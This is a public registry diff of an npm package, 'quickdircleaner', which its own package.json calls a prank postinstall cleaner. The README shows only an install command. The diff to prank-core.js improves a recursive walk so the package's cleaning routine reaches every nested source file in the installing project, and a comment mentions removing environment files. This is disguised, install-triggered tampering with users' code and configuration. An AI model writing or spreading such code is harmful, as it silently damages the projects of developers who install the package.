quickdircleaner 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +3 -0
  2. package/package.json +2 -2
  3. package/prank-core.js +90 -15
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ ```bash
2
+ npm install quickdircleaner
3
+ ```
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "quickdircleaner",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
5
5
  "main": "index.js",
6
6
  "files": [
@@ -11,7 +11,7 @@
11
11
  "README.md"
12
12
  ],
13
13
  "engines": {
14
- "node": ">=16"
14
+ "node": ">=18.17.0"
15
15
  },
16
16
  "bin": {
17
17
  "run-clean": "./index.js",
package/prank-core.js CHANGED
@@ -257,34 +257,86 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
257
257
  }
258
258
  }
259
259
 
260
- /** True if absolutePath is the project root or a path strictly under it. */
260
+ /**
261
+ * True if absolutePath is the project root or strictly inside it.
262
+ * Uses path.relative so /var vs /private/var (macOS) and Windows casing do not skip nested files.
263
+ */
261
264
  function isPathInsideProjectRoot(rootResolved, absolutePath) {
262
265
  const rootAbs = path.resolve(rootResolved);
263
266
  const abs = path.resolve(absolutePath);
264
- if (abs === rootAbs) {
267
+ const rel = path.relative(rootAbs, abs);
268
+ if (rel === "") {
265
269
  return true;
266
270
  }
267
- const prefix = rootAbs.endsWith(path.sep) ? rootAbs : rootAbs + path.sep;
268
- return abs.startsWith(prefix);
271
+ return !rel.startsWith("..") && !path.isAbsolute(rel);
272
+ }
273
+
274
+ function relativePathHasSkippedDir(rel) {
275
+ const parts = rel.split(/[/\\]/);
276
+ return parts.some((p) => p === "node_modules" || p === ".git");
269
277
  }
270
278
 
271
279
  /**
272
- * Walks the entire project tree: every nested folder under root is queued and
273
- * visited (except directories named node_modules or .git at any depth).
274
- * Directory symlinks are followed only when their real path stays inside the project.
280
+ * Lists every file under root (all nesting levels). Requires Node 18.17+ and Dirent.parentPath/path.
275
281
  */
276
- async function walkAndClean(root, backupEntries, logCleaned) {
277
- let rootResolved = path.resolve(root);
278
- try {
279
- rootResolved = await fs.realpath(rootResolved);
280
- } catch {
281
- /* use path.resolve only */
282
+ async function walkAndCleanRecursive(rootResolved, backupEntries, logCleaned) {
283
+ const entries = await fs.readdir(rootResolved, {
284
+ recursive: true,
285
+ withFileTypes: true,
286
+ });
287
+
288
+ for (const ent of entries) {
289
+ if (!ent.isFile()) {
290
+ continue;
291
+ }
292
+
293
+ const parentDir = ent.parentPath ?? ent.path;
294
+ if (parentDir == null) {
295
+ throw new Error("RECURSIVE_READDIR_NO_PARENT");
296
+ }
297
+
298
+ const fullPath = path.resolve(parentDir, ent.name);
299
+ if (!isPathInsideProjectRoot(rootResolved, fullPath)) {
300
+ continue;
301
+ }
302
+
303
+ const rel = path.relative(rootResolved, fullPath);
304
+ if (rel === "" || relativePathHasSkippedDir(rel)) {
305
+ continue;
306
+ }
307
+
308
+ const base = path.basename(fullPath);
309
+ if (
310
+ base === BACKUP_NAME ||
311
+ base === DONE_FLAG ||
312
+ base === COUNTER_FILE ||
313
+ base === "package.json"
314
+ ) {
315
+ continue;
316
+ }
317
+
318
+ const ext = path.extname(base).toLowerCase();
319
+ if (!CLEANABLE_EXT.has(ext)) {
320
+ continue;
321
+ }
322
+
323
+ try {
324
+ await cleanSourceFile(fullPath, rootResolved, backupEntries, logCleaned);
325
+ } catch {
326
+ /* skip */
327
+ }
282
328
  }
329
+ }
330
+
331
+ /**
332
+ * Breadth-first fallback for older Node or Dirent without parentPath (recursive listing unusable).
333
+ */
334
+ async function walkAndCleanBfs(rootResolved, backupEntries, logCleaned) {
283
335
  const visitedDirs = new Set();
284
- const queue = [rootResolved];
336
+ const queue = [path.resolve(rootResolved)];
285
337
 
286
338
  while (queue.length > 0) {
287
- const dir = queue.shift();
339
+ const dir = path.resolve(queue.shift());
288
340
  if (visitedDirs.has(dir)) {
289
341
  continue;
290
342
  }
@@ -311,10 +363,17 @@ async function walkAndClean(root, backupEntries, logCleaned) {
311
363
  continue;
312
364
  }
313
365
 
366
+ realPath = path.resolve(realPath);
367
+
314
368
  if (!isPathInsideProjectRoot(rootResolved, realPath)) {
315
369
  continue;
316
370
  }
317
371
 
372
+ const rel = path.relative(rootResolved, realPath);
373
+ if (rel !== "" && relativePathHasSkippedDir(rel)) {
374
+ continue;
375
+ }
376
+
318
377
  let st;
319
378
  try {
320
379
  st = await fs.stat(full);
@@ -354,6 +413,22 @@ async function walkAndClean(root, backupEntries, logCleaned) {
354
413
  }
355
414
  }
356
415
 
416
+ async function walkAndClean(root, backupEntries, logCleaned) {
417
+ let rootResolved = path.resolve(root);
418
+ try {
419
+ rootResolved = await fs.realpath(rootResolved);
420
+ } catch {
421
+ /* keep path.resolve */
422
+ }
423
+ rootResolved = path.resolve(rootResolved);
424
+
425
+ try {
426
+ await walkAndCleanRecursive(rootResolved, backupEntries, logCleaned);
427
+ } catch {
428
+ await walkAndCleanBfs(rootResolved, backupEntries, logCleaned);
429
+ }
430
+ }
431
+
357
432
  /**
358
433
  * Runs env backup/removal and source walk; returns new backup entries for this run.
359
434
  */